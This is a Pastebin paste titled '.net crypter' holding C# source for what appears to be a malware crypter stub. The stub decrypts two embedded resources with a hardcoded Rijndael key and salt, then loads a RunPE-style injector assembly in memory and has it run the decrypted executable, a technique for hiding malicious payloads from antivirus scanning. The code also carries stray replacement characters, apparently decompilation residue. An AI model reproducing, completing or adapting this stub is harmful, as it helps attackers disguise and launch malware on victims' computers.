Advertisement
Guest User

.net crypter

a guest
Oct 11th, 2011
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.01 KB | None | 0 0
  1. public static void Main()
  2. {
  3. ResourceManager resourceManager = new ResourceManager("res\uFFFD", Assembly.GetExecutingAssembly());
  4. string s1 = (string)resourceManager.GetObject("file\uFFFD");
  5. string s2 = (string)resourceManager.GetObject("PEexer\uFFFD");
  6. byte[] bArr1 = RoshanTest.RijndaelDecrypt(Encoding.Default.GetBytes(s1), "wow64hehe\uFFFD");
  7. byte[] bArr2 = Encoding.Default.GetBytes(s2);
  8. byte[] bArr3 = RoshanTest.RijndaelDecrypt(bArr2, "wow64hehe\uFFFD");
  9. RoshanTest.MemReflect(bArr3, bArr1);
  10. }
  11.  
  12. public static void MemReflect(byte[] rpe, byte[] exetorun)
  13. {
  14. bool flag = false;
  15. Assembly assembly = Assembly.Load(rpe);
  16. string s = "ClassLibrary1.\uFFFD";
  17. Type type = assembly.GetType(s + "SharpDLL\uFFFD");
  18. MethodInfo methodInfo = type.GetMethod("mainfunc\uFFFD");
  19. object[] objArr = new object[] {
  20. flag,
  21. Assembly.GetExecutingAssembly().Location,
  22. exetorun };
  23. methodInfo.Invoke(null, objArr);
  24. }
  25.  
  26. public static byte[] RijndaelDecrypt(byte[] bytes, string Key)
  27. {
  28. Rijndael rijndael = Rijndael.Create();
  29. Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Key, new byte[] { 38, 220, 255, 0, 173, 237, 122, 238, 197, 254, 7, 175, 77, 8, 34, 60 });
  30. rijndael.Key = rfc2898DeriveBytes.GetBytes(32);
  31. rijndael.IV = rfc2898DeriveBytes.GetBytes(16);
  32. MemoryStream memoryStream = new MemoryStream();
  33. CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write);
  34. cryptoStream.Write(bytes, 0, bytes.Length);
  35. cryptoStream.Close();
  36. return memoryStream.ToArray();
  37. }
  38.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement